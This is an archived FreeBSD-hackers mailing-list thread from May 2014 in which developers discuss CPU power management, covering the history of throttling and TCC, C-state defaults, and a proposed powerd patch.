c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=zwdFGPAlm4g25laCnmiMrJreNiMga/pV/cUxRWe3p40=; b=XFNTjj5HeiAVRfL5MVBu/s/EHrACQC6kbehDRf/1aa6dzpAPxnv1KW2sOmVlvdFCZ9 UhiccHWn1WLw7v5K6UIRAnfO0X93USayIgZwr/hsRMUlbe1Mhz37w5kc2699+QKf6yxA IcX0XBWpW0Iyva75D/yyp8A7m1lxYNqEUIPO9Xm0wYzCb6hm8Rz5f+O+cD14y57nhXbC CGoK8zTRJO4CfflOs5mXyhS00S/PkEDcyA2EStZk296BZayqkswcI8g83lBg2iCORR2/ Z27KQTvwG+5/URsWjT4CPkMa0pSi1z62iOx+iYX8X8OarmlRLXNso1HuXCenLd8Jim4W l6Xg== MIME-Version: 1.0 X-Received: by 10.66.240.197 with SMTP id wc5mr40842596pac.78.1399176992990; Sat, 03 May 2014 21:16:32 -0700 (PDT) Sender: kob6558@gmail.com Received: by 10.66.73.34 with HTTP; Sat, 3 May 2014 21:16:32 -0700 (PDT) In-Reply-To: <536592D1.7080403@freebsd.org> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sat, 3 May 2014 21:16:32 -0700 X-Google-Sender-Auth: 7YfHtxV6DF15VwuOe6MNKDZrpkg Message-ID: Subject: Re: Leaving the Desktop Market From: Kevin Oberman To: Nathan Whitehorn X-Mailman-Approved-At: Sun, 04 May 2014 04:20:19 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Adrian Chadd , "current@freebsd.org" , Matthias Apitz , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 04:16:34 -0000 On Sat, May 3, 2014 at 6:07 PM, Nathan Whitehorn wrote: > On 05/03/14 16:59, Kevin Oberman wrote: > >> On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: >> >> Set it to the lowest available Cx state that you see in dev.cpu.0 . >>> >>> >>> Available is not required. Set it to C8. That guarantees that you will >> use >> the lowest available. The correct incantation in rc.conf is "Cmax". >> performance_cx_lowest="Cmax" >> economy_cx_lowest="Cmax" >> >> But, unless you want laggy performance, you will probably also want: >> hint.p4tcc.0.disabled=1 >> hint.acpi_throttle.0.disabled=1 >> in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix >> well and TCC is not effective, as mentioned earlier in this thread. >> > > Is there any reason that TCC is on by default, actually? It seems like an > anti-feature. I've been baffled by this for years. Throttling was first. SpeedStep was about all that was available for power management and even that was not available for older laptops. It was thought that throttling was a way to get some power management for those older systems. Nate was developing the first power management for FreeBSD and the first implementation of SST. He threw in throttling as both an added capability an something for older laptops that lacked SpeedStep. It made sense to me, too, After all, SST only provided two performance levels. It was an improvement from nothing, but not a really a lot and, mostly because neither of us thought about it enough, we really believed throttling was a help. Before cpufreq was committed, the Pentium 4 came out, including TCC which did what throttling did,but much more cleanly.So cpufreq was modified to use TCC if available and throttling when not. In retrospect, this was pretty dumb, but it made sense at the time. Soon after that, EST (true P-states) came out. It really reduced power consumption in normal applications. A driver for it was added fairly quickly, but throttling/TCC remained. Its only real effect was to add several many more "frequencies" to powerd, taking longer to save power when the CPU was lightly loaded and causing lag in speeding up when things got busy. Next, along came C-states and, almost simultaneously, D-states. Dx was very closely linked to the hardware and savings were often limited, but C-states were the real deal. This was a huge change as it really did save power. Unfortunately people started reporting that Cx states were causing CPU lockup and very laggy interactive behavior. As a result, the default setting for Cx states was to disable them. This was a really bad choice. It was made without any analysis of why.Cx was hanging systems and working badly, so turn it off. It took me very little time to discover the problem.My old laptop at the time this happened as a Pentium-M with a lowest P-state of 800 MHz. Ass TCC and the idle clock was effectively just 100 MHz. When you combine the way powerd adjusted speed and C-states, the best you can hope for is crappy interactivity. It just took way too long to get out of the lowest idle state. I can't explain the hangs as I never experienced them, but simply turning off TCC (and throttling) prevented it. It looked like the obvious thing to do was to turn off TCC and make full use of C-states. This became even more blindingly obvious when mav put up his very excellent paper on power management on FreeBSD. If you care about power management and have not read it, do so now! https://wiki.freebsd.org/TuningPowerConsumption Why mav's suggestions were not made default,I simply don't understand. I'm sure much of it is that FreeBSD is developed primarily for servers and people seem to often not care much about power savings on servers, though this is finally changing. I think I got most of the history correct, though it goes back to v4, a lot of years ago. Since I retired, I no longer have access to my old mail, so I may have gotten some details wrong. If so, I apologize. -- R. Kevin Oberman, Network Engineer, Retired E-mail: rkoberman@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 04:49:10 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E83C1A8; Sun, 4 May 2014 04:49:10 +0000 (UTC) Received: from mail-qa0-x231.google.com (mail-qa0-x231.google.com [IPv6:2607:f8b0:400d:c00::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B60F01B8B; Sun, 4 May 2014 04:49:09 +0000 (UTC) Received: by mail-qa0-f49.google.com with SMTP id cm18so4737842qab.8 for ; Sat, 03 May 2014 21:49:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=LhRYT83uLmXX7PyhjMQO7B3GECQrqGpXFDPyX1Gjpa4=; b=iIQfAGQ3qXiTZjitYrESxslGcSmW77eN+eQbnM7gHAuwRewZuKdibPrjiQWI+hbwmI O5O09p3YoJuhdRsi3tmmmr5nYhXqZQBU8UtcZJqTvzl+C3M2DY1zjMwQbBCI12XsK1ui 3B+zeqHf5tTygl+7b9g+6utu2J0pgsL9gyWngXV1zhQgapSnNWNzSFtSpUp3vs/tGM9a SZ5hoo4PxpWE/L8pSEGJ9+sWUlCffSyGzbRfcQmRsmTL8rcf+LQNLGzJPnMpq9YE5w39 BPg+61w6/K9NfmRwnVT1D0ItLbhlLZEDaT+8eVq90oKaX9sHSKgATlHsTPm6JDk/Fb3L DifA== MIME-Version: 1.0 X-Received: by 10.140.22.209 with SMTP id 75mr32336970qgn.4.1399178948831; Sat, 03 May 2014 21:49:08 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sat, 3 May 2014 21:49:08 -0700 (PDT) In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sat, 3 May 2014 21:49:08 -0700 X-Google-Sender-Auth: PX-YvfUDEm3e96x4Rb0fKgaV3F0 Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Kevin Oberman Content-Type: text/plain; charset=UTF-8 Cc: "current@freebsd.org" , Matthias Apitz , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Nathan Whitehorn , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 04:49:10 -0000 Hi, Well, hardware got better. A lot better. I'm happy to leave speedstep and throttling in there but teach powerd about using C-states and limited frequency stepping if it's available. So, how about something like this: * if C states are available - let's just use C states and not step the cpu frequency at all; * if turboboost is available - enable that, and disable it if we notice the CPU runs at the higher frequency for too long; * use cpufreq with some heuristics (like say, only step down to 2/3rd the frequency if idle) - and document why that decision is made (eg on CPU X, measuring Y at idle, power consumption was minimal at frequency=Z.); * make sure the lower frequencies and tcc kick in if a thermal cutoff is reached; * default to using lower Cx states out of the box if they're decided to not be buggy. There are a few CPUs for which lower C states cause problems but modernish hardware (say, nehalem and later) should be fine. That's vaguely what I've been tossing around in my head. -a On 3 May 2014 21:16, Kevin Oberman wrote: > On Sat, May 3, 2014 at 6:07 PM, Nathan Whitehorn > wrote: >> >> On 05/03/14 16:59, Kevin Oberman wrote: >>> >>> On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: >>> >>>> Set it to the lowest available Cx state that you see in dev.cpu.0 . >>>> >>>> >>> Available is not required. Set it to C8. That guarantees that you will >>> use >>> the lowest available. The correct incantation in rc.conf is "Cmax". >>> performance_cx_lowest="Cmax" >>> economy_cx_lowest="Cmax" >>> >>> But, unless you want laggy performance, you will probably also want: >>> hint.p4tcc.0.disabled=1 >>> hint.acpi_throttle.0.disabled=1 >>> in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix >>> well and TCC is not effective, as mentioned earlier in this thread. >> >> >> Is there any reason that TCC is on by default, actually? It seems like an >> anti-feature. > > > I've been baffled by this for years. Throttling was first. SpeedStep was > about all that was available for power management and even that was not > available for older laptops. It was thought that throttling was a way to get > some power management for those older systems. Nate was developing the first > power management for FreeBSD and the first implementation of SST. He threw > in throttling as both an added capability an something for older laptops > that lacked SpeedStep. > > It made sense to me, too, After all, SST only provided two performance > levels. It was an improvement from nothing, but not a really a lot and, > mostly because neither of us thought about it enough, we really believed > throttling was a help. Before cpufreq was committed, the Pentium 4 came out, > including TCC which did what throttling did,but much more cleanly.So cpufreq > was modified to use TCC if available and throttling when not. In retrospect, > this was pretty dumb, but it made sense at the time. > > Soon after that, EST (true P-states) came out. It really reduced power > consumption in normal applications. A driver for it was added fairly > quickly, but throttling/TCC remained. Its only real effect was to add > several many more "frequencies" to powerd, taking longer to save power when > the CPU was lightly loaded and causing lag in speeding up when things got > busy. > > Next, along came C-states and, almost simultaneously, D-states. Dx was very > closely linked to the hardware and savings were often limited, but C-states > were the real deal. This was a huge change as it really did save power. > Unfortunately people started reporting that Cx states were causing CPU > lockup and very laggy interactive behavior. As a result, the default > setting for Cx states was to disable them. This was a really bad choice. It > was made without any analysis of why.Cx was hanging systems and working > badly, so turn it off. > > It took me very little time to discover the problem.My old laptop at the > time this happened as a Pentium-M with a lowest P-state of 800 MHz. Ass TCC > and the idle clock was effectively just 100 MHz. When you combine the way > powerd adjusted speed and C-states, the best you can hope for is crappy > interactivity. It just took way too long to get out of the lowest idle > state. I can't explain the hangs as I never experienced them, but simply > turning off TCC (and throttling) prevented it. > > It looked like the obvious thing to do was to turn off TCC and make full use > of C-states. This became even more blindingly obvious when mav put up his > very excellent paper on power management on FreeBSD. If you care about > power management and have not read it, do so now! > https://wiki.freebsd.org/TuningPowerConsumption > > Why mav's suggestions were not made default,I simply don't understand. I'm > sure much of it is that FreeBSD is developed primarily for servers and > people seem to often not care much about power savings on servers, though > this is finally changing. > > I think I got most of the history correct, though it goes back to v4, a lot > of years ago. Since I retired, I no longer have access to my old mail, so I > may have gotten some details wrong. If so, I apologize. > -- > R. Kevin Oberman, Network Engineer, Retired > E-mail: rkoberman@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 08:13:50 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 01C3A56C; Sun, 4 May 2014 08:13:50 +0000 (UTC) Received: from mail-qg0-x22b.google.com (mail-qg0-x22b.google.com [IPv6:2607:f8b0:400d:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8D99F1B71; Sun, 4 May 2014 08:13:49 +0000 (UTC) Received: by mail-qg0-f43.google.com with SMTP id 63so700435qgz.16 for ; Sun, 04 May 2014 01:13:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=fWJhD5u2ewfB2n1vGTcAeFYUcfWIC41/GoMYmOjdW9U=; b=c/ugLMUtCysjoH9+5cIjY/FnivGkuSuqp3Fquseh4YEyCdyHI2O7Es/HmNi3ECLYYf FdGy7rpHdW7AKKNNEE8qDZ9TYERsNCfa75vrhmXQ049g3/rQ4/Zo0UxcNa57vfFUgDGX FEsN/Cst3rXsSFRnn8KjkVSUr7bBcHpqcX+SXJ7I84xrgAhlgdRi/lOiH2eh3uvW5kqz AciMQJgwDdnL5BcuD1ZpeEr6B59pdS/Ix44o+PiNHSX1csZrBilRCl7Ks31JFPkpES1J wnnN+4u1E/3vP7/0uTZtBkGkxlUGF2PkfR3vQsxXWpld+AcWX1B5hz7dXjFOBC7C+Q4W KKfA== MIME-Version: 1.0 X-Received: by 10.224.15.202 with SMTP id l10mr5134262qaa.76.1399191228712; Sun, 04 May 2014 01:13:48 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sun, 4 May 2014 01:13:48 -0700 (PDT) In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sun, 4 May 2014 01:13:48 -0700 X-Google-Sender-Auth: h1080AmssIna7L0KrecPaYd9USY Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Kevin Oberman Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , Nathan Whitehorn , Jordan Hubbard , "freebsd-arch@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 08:13:50 -0000 [snip] ok, how about this to start with: http://people.freebsd.org/~adrian/power/20140504-powerd-1.diff This defaults powerd to set minfreq to 50% of the hardware available maxfreq, unless minfreq is explicitly given on the command line. This should at least fix some of the really silly default decisions made by powerd during idle. This code sorely needs an update to the cpufreq_*() routines. That can come later. Does anyone have any issues? -a From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 08:15:51 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 578266FD; Sun, 4 May 2014 08:15:51 +0000 (UTC) Received: from mail-qg0-x22c.google.com (mail-qg0-x22c.google.com [IPv6:2607:f8b0:400d:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E271E1B9E; Sun, 4 May 2014 08:15:50 +0000 (UTC) Received: by mail-qg0-f44.google.com with SMTP id i50so5057434qgf.17 for ; Sun, 04 May 2014 01:15:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=/7yUUlj/wOggeFEBIS29SA117U92VS4Y/5mFJsgceo0=; b=EBRlcVbgqanj/1+VHMRFYcqmAA1YP7X11XYTt6NVw+9J6+NbhR2NmhOCTdemiK0LD/ kaGY4It7N/7ttrZWKe7wGCfFShbDx+KtvARv3bRmbUhYKGZTBcDVPzhAxrwnyhH5rakb MQ2CwHUvUeFcyjqh1kGjuoXeWWG55CuzeieAscTYPXJCU1P9xrOTK3u0eJ16o8uRSW3p PxyAcKF7XIqqczIyb10JgEB0V3djya2ymIzT8O7HiQqWJnV/330HNbxnbfCl1BcL3u2u o4Y/JWL24iKW2fBVC32FzoifuWBD/ABSaoIxPV/HUYEae+z0AEP/fd0WOwHso6S0lrkR I0Ww== MIME-Version: 1.0 X-Received: by 10.140.104.195 with SMTP id a61mr15432136qgf.102.1399191350091; Sun, 04 May 2014 01:15:50 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sun, 4 May 2014 01:15:49 -0700 (PDT) In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sun, 4 May 2014 01:15:49 -0700 X-Google-Sender-Auth: SbbZsYZ8dyQDuQCxjg7PNI3X1Hk Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Kevin Oberman Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , Nathan Whitehorn , Jordan Hubbard , "freebsd-arch@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 08:15:51 -0000 [snip].. and silly me, cpufreq_*() is a kernel interface. Boy that API would be nice in userland. -a From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 09:28:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0EE79612; Sun, 4 May 2014 09:28:58 +0000 (UTC) Received: from mail.fer.hr (mail.fer.hr [161.53.72.233]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.fer.hr", Issuer "TERENA SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8A48B11ED; Sun, 4 May 2014 09:28:57 +0000 (UTC) Received: from x23 (31.147.125.66) by MAIL.fer.hr (161.53.72.233) with Microsoft SMTP Server (TLS) id 14.2.342.3; Sun, 4 May 2014 11:27:42 +0200 Date: Sun, 4 May 2014 11:28:07 +0200 From: Marko Zec To: Adrian Chadd Subject: Re: Leaving the Desktop Market Message-ID: <20140504112807.1136d108@x23> In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Organization: FER X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.19; amd64-portbld-freebsd9.1) MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Originating-IP: [31.147.125.66] Cc: Kevin Oberman , "freebsd-hackers@freebsd.org" , Nathan Whitehorn , Jordan Hubbard , "freebsd-arch@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 09:28:58 -0000 On Sun, 4 May 2014 01:13:48 -0700 Adrian Chadd wrote: > [snip] > > ok, how about this to start with: > > http://people.freebsd.org/~adrian/power/20140504-powerd-1.diff > > This defaults powerd to set minfreq to 50% of the hardware available > maxfreq, unless minfreq is explicitly given on the command line. As already noted earlier in this thread, if you disable hint.p4tcc.0.disabled=1 hint.acpi_throttle.0.disabled=1 then the kernel does not even expose expose those silly minimum "frequencies", and your problem goes away without patching powerd. A more reasonable and simpler patch would be to disable the two offending throttling drivers by default, I really cannot see a single reason why do we need them at all, less why they are enabled. Marko > This should at least fix some of the really silly default decisions > made by powerd during idle. > > This code sorely needs an update to the cpufreq_*() routines. That can > come later. > > Does anyone have any issues? > > > > -a > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 11:01:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 54A34B77; Sun, 4 May 2014 11:01:03 +0000 (UTC) Received: from mailout02.t-online.de (mailout02.t-online.de [194.25.134.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mailout00.t-online.de", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0C0A8189E; Sun, 4 May 2014 11:01:02 +0000 (UTC) Received: from fwd26.aul.t-online.de (fwd26.aul.t-online.de [172.20.26.131]) by mailout02.t-online.de (Postfix) with SMTP id CAAE15D5D4E; Sun, 4 May 2014 12:54:34 +0200 (CEST) Received: from [192.168.119.11] (TnhODsZQwhAZHoc7DREn1G6uKdOdQGVA3SMKhwSQd20XvhRL9XUzKnZcS9rm6GlgEw@[84.154.114.101]) by fwd26.t-online.de with esmtp id 1Wgu4G-1nRkwa0; Sun, 4 May 2014 12:54:48 +0200 Message-ID: <53661C77.5030806@freebsd.org> Date: Sun, 04 May 2014 12:54:47 +0200 From: Stefan Esser User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Leaving the Desktop Market References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> <20140504112807.1136d108@x23> In-Reply-To: <20140504112807.1136d108@x23> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-ID: TnhODsZQwhAZHoc7DREn1G6uKdOdQGVA3SMKhwSQd20XvhRL9XUzKnZcS9rm6GlgEw X-TOI-MSGID: b7d8909f-79c5-42f3-b8e1-ee64bfc67cc8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 11:01:03 -0000 Am 04.05.2014 11:28, schrieb Marko Zec: > On Sun, 4 May 2014 01:13:48 -0700 > Adrian Chadd wrote: > >> [snip] >> >> ok, how about this to start with: >> >> http://people.freebsd.org/~adrian/power/20140504-powerd-1.diff >> >> This defaults powerd to set minfreq to 50% of the hardware available >> maxfreq, unless minfreq is explicitly given on the command line. > > As already noted earlier in this thread, if you disable > > hint.p4tcc.0.disabled=1 > hint.acpi_throttle.0.disabled=1 > > then the kernel does not even expose expose those silly minimum > "frequencies", and your problem goes away without patching powerd. > > A more reasonable and simpler patch would be to disable the two > offending throttling drivers by default, I really cannot see a single > reason why do we need them at all, less why they are enabled. > > Marko Very true and this topic has come up so many times during for at least a decade (if not much longer). Throttling had its use at a time, but this time is long gone. Throttling is enabled unless probing of the "p4tcc" and "acpi_throttle" pseudo-devices is disabled by device hints. As a first step, these hints could be set in /boot/defaults/loader.conf. They could still be overridden in /boot/loader.conf, if they really are required (anybody still got P4 systems running -CURRENT?). A better fix would be to disable throttling depending on the CPU model identified (or on the presence of any other power management solution). Since the CPUs are probed before any device, adding a "disable" hint for both throttling methods would be kind of a hack, but should work. If there is an agreement, that we should move into that direction, I'll try to create a patch for review. Regards, STefan From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 05:53:46 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B98C139D; Sun, 4 May 2014 05:53:46 +0000 (UTC) Received: from mail-pa0-x22c.google.com (mail-pa0-x22c.google.com [IPv6:2607:f8b0:400e:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6F5E011D4; Sun, 4 May 2014 05:53:46 +0000 (UTC) Received: by mail-pa0-f44.google.com with SMTP id ld10so2435938pab.17 for ; Sat, 03 May 2014 22:53:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=MUO9kitxngCcL6TShegjyukbX4Z6FcSBbEdxoxstohc=; b=Ir9wgNpWRYJfS0fPovqPgH3OfbYIyp5DKzi528IOsukhkh9zwJksZUv9Doj+4rcguE wazyuQfZXI1BkfnSoSjwg1DWj0rtsmrsXlSoAia8GzLPFGPdMRwwT5QFYGMOI4X8ovnk 6ADP3OJZlVBoFBqpM83KLTkqLpEjN8N3J9xGm04yVfgjb8UtdHxOKJhcK1v8CwmkZjn/ mC92HrzwPWOyNtvD6w1KuHDrJkddOIRJ6SEJZoyWe4cKsKZLBJz0GtVahJMsuQ+OkPyj VjJsytnHPmfvqzDJLzHdFpMWSrOLuzKINz692WO8Zp1/AfMS44UEvDSwMTVeJlvJ+eQH wXdA== MIME-Version: 1.0 X-Received: by 10.66.124.137 with SMTP id mi9mr55888968pab.111.1399182825628; Sat, 03 May 2014 22:53:45 -0700 (PDT) Sender: kob6558@gmail.com Received: by 10.66.73.34 with HTTP; Sat, 3 May 2014 22:53:45 -0700 (PDT) In-Reply-To: References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> Date: Sat, 3 May 2014 22:53:45 -0700 X-Google-Sender-Auth: RTNYB7AOY0HCCDXT-3xLfsYRLBo Message-ID: Subject: Re: Leaving the Desktop Market From: Kevin Oberman To: Adrian Chadd X-Mailman-Approved-At: Sun, 04 May 2014 11:24:31 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "current@freebsd.org" , Matthias Apitz , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Nathan Whitehorn , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 05:53:46 -0000 On Sat, May 3, 2014 at 9:49 PM, Adrian Chadd wrote: > Hi, > > Well, hardware got better. A lot better. I'm happy to leave speedstep > and throttling in there but teach powerd about using C-states and > limited frequency stepping if it's available. > > So, how about something like this: > > * if C states are available - let's just use C states and not step the > cpu frequency at all; > C-states are great and I suspect that just C-states will do about as well as anything. I can't prove it, but I suspect using P-states with C is a bigger win, depending on load. > * if turboboost is available - enable that, and disable it if we > notice the CPU runs at the higher frequency for too long; > I think that ACPI already limits runtime in turboboost mode., * use cpufreq with some heuristics (like say, only step down to 2/3rd > the frequency if idle) - and document why that decision is made (eg on > CPU X, measuring Y at idle, power consumption was minimal at > frequency=Z.); > Use CPUfreq to support available P-states.I trust that the good engineers at Intel knew what they were doing when they set them up on a given CPU. C-states Of course, only C-states should be used by cpufreq... not TCC or throttling. > * make sure the lower frequencies and tcc kick in if a thermal cutoff > is reached; > I tought that this was an automatic function if not disabled by ACPI. * default to using lower Cx states out of the box if they're decided > to not be buggy. There are a few CPUs for which lower C states cause > problems but modernish hardware (say, nehalem and later) should be > fine. > Assuming we leave throttling/TCC out of it, I don't see any reason that ANY CPU with C-state capability should not run Cmax. I have never had any issue withe just C-states and P-states.It only seems to be an issue when combined with lowering thottling/TCC to low values. If the CPU gets so hot that TCC gets down to under 25% of the lowest p-state speed, something is very, very wrong with the hardware. > That's vaguely what I've been tossing around in my head. > > > > -a > > > On 3 May 2014 21:16, Kevin Oberman wrote: > > On Sat, May 3, 2014 at 6:07 PM, Nathan Whitehorn > > > wrote: > >> > >> On 05/03/14 16:59, Kevin Oberman wrote: > >>> > >>> On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd > wrote: > >>> > >>>> Set it to the lowest available Cx state that you see in dev.cpu.0 . > >>>> > >>>> > >>> Available is not required. Set it to C8. That guarantees that you will > >>> use > >>> the lowest available. The correct incantation in rc.conf is "Cmax". > >>> performance_cx_lowest="Cmax" > >>> economy_cx_lowest="Cmax" > >>> > >>> But, unless you want laggy performance, you will probably also want: > >>> hint.p4tcc.0.disabled=1 > >>> hint.acpi_throttle.0.disabled=1 > >>> in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix > >>> well and TCC is not effective, as mentioned earlier in this thread. > >> > >> > >> Is there any reason that TCC is on by default, actually? It seems like > an > >> anti-feature. > > > > > > I've been baffled by this for years. 